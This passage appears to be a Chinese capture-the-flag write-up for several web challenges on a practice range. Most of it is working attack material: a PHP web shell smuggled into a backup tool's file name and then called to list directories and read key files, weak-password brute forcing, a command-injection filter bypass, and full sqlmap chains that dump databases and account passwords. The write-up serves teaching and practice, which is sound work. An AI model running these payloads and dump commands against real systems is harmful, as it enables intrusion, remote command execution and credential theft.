system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD 读取目录下所有文件目录 http://119.3.187.27:41154/admin_site_bak2088/__bak__/bak_wwwroot.php?cmd=ls%20../ 读取key http://119.3.187.27:41169/admin_K29ke8/__bak__/bak_wwwroot.php?cmd=cat%20/key_ss32ce5ew1v.txt 第三题 数字校园 提示：浏览器类型要是IPAD，以及要用英文，分辨率要1024*768 和第一题一样的套路 不过这里要改下 ■Accept-Language为en,zh;q=0.8,en-us;q=0.5,en;q=0.3 ■ Cookie为screenX=1024; screenY=768 第四题 网站文件备份服务器 虽然页面和第二题不同，但是扫目录同样扫出了是一样的后台，爆破弱口令，然后发现admin和admin，剩下的就和之前的步骤是一样的了，写一个马然后读key。 dfile%5B%5D=/<?php system($_GET[cmd])?>&todir=__bak__&zipname=bak_wwwroot.php&password=admin888&myaction=dozip&Submit=+%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD 第五题 教学器械采购平台 一道命令执行的题，有个输入框 随便fuzz一下，发现过滤了&&和空格 于是&&用&&替代绕过，空格用<替代绕过 先用ls读取文件目录 iipp=127.0.0.1&&ls&submit=Ping 然后再读取key即可 第六题 教学质量评价系统 发现有个注入点 http://119.3.177.25:41204/show.php?id=MQ0= 测试了一下发现是base64盲注，用tamper指定base64编码，直接丢sqlmap里面跑一下。 这里要注意的是这个靶场不太稳定，我们用sqlmap有个小问题就是盲注的时候他会根据响应速度来调整发送包的速度，太快了可能网站会崩，所以sqlmap会增加延迟，让他更像是人手工在注入，我觉得慢就断开了，但是如果不清理缓存每次重来就是从上一次继续，所以这里的话加上fresh-queries，再加上batch自动确认。 跑数据库 python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --dbs --dump --batch --fresh-queries 跑表名 python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --tables -D test --dump --batch --fresh-queries 跑列名 python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py --columns -D test -T data --dump --batch --fresh-queries 最后payload如下 python3 sqlmap.py -u http://119.3.177.25:41204/show.php?id=1*  --tamper base64encode.py -D test -T data -C thekey --dump --batch --fresh-queries 直接跑出key 第七题 XWAY科技管理系统 平台停机维护的通知存在注入，发现注入点在 http://119.3.225.8:41046/new_list.php?id=1 继续sqlmap跑起来， 跑数据库 python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --dbs --dump --batch 跑表名 python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --tables -T member --dump --batch 跑列名 python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 --columns -T member -D stormgroup --dump --batch 最后payload python3 sqlmap.py -u http://119.3.225.8:41046/new_list.php?id=1 -D stormgroup -T member -C name,password --dump --batch 跑出两个账号密码 ■ mozhe/528469 ■ mozhe/888054 登录之后，即可拿到key。 第八题 XWAY电脑采购系统 随便看了发现到一个注入点 http://119.3.187.27:41144/new_list.php?id=1 发现是union注入，依旧尝试用sqlmap 跑数据库 python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --dbs --dump  --batch 跑表名 python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --tables -D min_ju4t_mel1i --dump  --batch 跑列名 python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 --columns -D min_ju4t_mel1i -T (@dmin9_td4b} --dump  --batch 最后payload python3 sqlmap.py -u http://119.3.187.27:41144/new_list.php?id=1 -D min_ju4t_mel1i -T (@dmin9_td4b} -C username,password --dump  --batch 最后跑出五个账号密码，只有一个能用，md5解密登录拿key。 sql注入不愧是OWASP TOP 10 之 榜首，10道题目出现了3道，有一说一sqlmap真的是好用。